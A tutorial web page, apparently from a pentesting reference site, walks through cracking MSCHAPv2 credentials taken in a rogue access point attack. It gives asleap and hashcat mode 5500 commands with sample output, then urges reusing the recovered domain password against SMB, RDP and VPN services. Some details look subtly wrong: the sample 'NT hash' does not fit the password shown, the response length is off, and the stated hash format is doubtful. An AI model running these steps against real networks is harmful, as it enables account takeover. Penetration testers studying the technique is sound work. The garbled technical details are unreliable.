Skip to content
HackIndex.io

Cracking MSCHAPv2 with Asleap and Hashcat

3 min read Created Mar 17, 2026 Last updated Aug 11, 2026

MSCHAPv2 credentials captured from a rogue AP attack consist of a username, a challenge, and a response. The response is computed from the NT hash of the user's password and the challenge value. Cracking it recovers the NT hash first and then the plaintext password. You can crack MSCHAPv2 with hashcat for GPU-accelerated speed or use asleap to work directly against capture files on the command line.

MSCHAPv2 hashes come from WPA Enterprise (PEAP/EAP-TTLS) authentication exchanges. Rogue AP tools like hostapd-mana capture the challenge/response during the EAP handshake. The same hash format also appears in PPTP VPN authentication and NTLM relay scenarios. MSCHAPv2 is fundamentally weak because the response is derived from the DES-based NT hash split into three independent 7-byte blocks, reducing the effective keyspace for each block. This means even a strong password can be cracked quickly with GPU hardware.

This page assumes you have captured MSCHAPv2 credentials from a hostapd-mana session. See the EAP credential harvesting page if needed.

Crack MSCHAPv2 with asleap

asleap reads MSCHAPv2 hashes directly from a pcap file or from manually supplied values:

┌──(kali㉿kali)-[~]
└─$ asleap -r corp-capture-01.cap -W /usr/share/wordlists/rockyou.txt 
asleap version 2.2 - actively exploiting weak LEAP and PPTP passwords
Using wordlist mode with "rockyou.txt".
Username: CORP\jsmith
challenge: 4a6f8d2e1b9c3f7a
response:  8d3f2a1c9e4b7f6d2a8c1e3b5d9f4a2c
NT hash: 5d41402abc4b2a76b9719d911017c592
password: password123

asleap is CPU-based and slower than hashcat but requires no conversion step when working from a pcap file.

Crack MSCHAPv2 with hashcat

hashcat mode 5500 handles MSCHAPv2 (NetNTLMv1 algorithm). Format the captured credentials into the required hashcat input format:

┌──(kali㉿kali)-[~]
└─$ echo 'jsmith::CORP:4a6f8d2e1b9c3f7a:8d3f2a1c9e4b7f6d2a8c1e3b5d9f4a2c:0101000000000000' > mschapv2.txt
┌──(kali㉿kali)-[~]
└─$ hashcat -m 5500 mschapv2.txt /usr/share/wordlists/rockyou.txt 
jsmith::CORP:4a6f8d2e...:password123

The format for the hash is username::domain:challenge:response:blob. The blob value (last field) can be set to a placeholder of zeros when working from hostapd-mana output that does not include the full NTLM blob.

Apply Rules for Better Coverage

┌──(kali㉿kali)-[~]
└─$ hashcat -m 5500 mschapv2.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Extract Credentials from a Capture File Directly

If you captured the enterprise exchange in a pcap file rather than through hostapd-mana's credential log, use asleap to extract and crack in one step:

┌──(kali㉿kali)-[~]
└─$ asleap -r corp-capture-01.cap -W /usr/share/wordlists/rockyou.txt -v

Once the plaintext password is recovered it is a valid Active Directory credential. Test it against other services on the network: SMB, RDP, VPN, and web applications commonly accept the same credentials.

When MSCHAPv2 Cracking Fails

Cracking does not always succeed. Common reasons:

  • The password is not in the wordlist and no rule mutation covers it. Try larger lists (e.g. SecLists/Passwords) or mask attacks in hashcat (-a 3) for short passwords.
  • The captured response is incomplete or corrupted. hostapd-mana sometimes logs partial exchanges when the client disconnects mid-handshake. Verify the challenge and response lengths match the expected format.
  • The hash format is wrong for the hashcat mode. Mode 5500 expects NetNTLMv1, which covers MSCHAPv2. Mode 5600 (NetNTLMv2) does not apply here. Using the wrong mode silently fails with zero results.
  • Machine accounts (ending in $) authenticate with randomly generated passwords that are not crackable by dictionary attack. Skip these and focus on user accounts.

References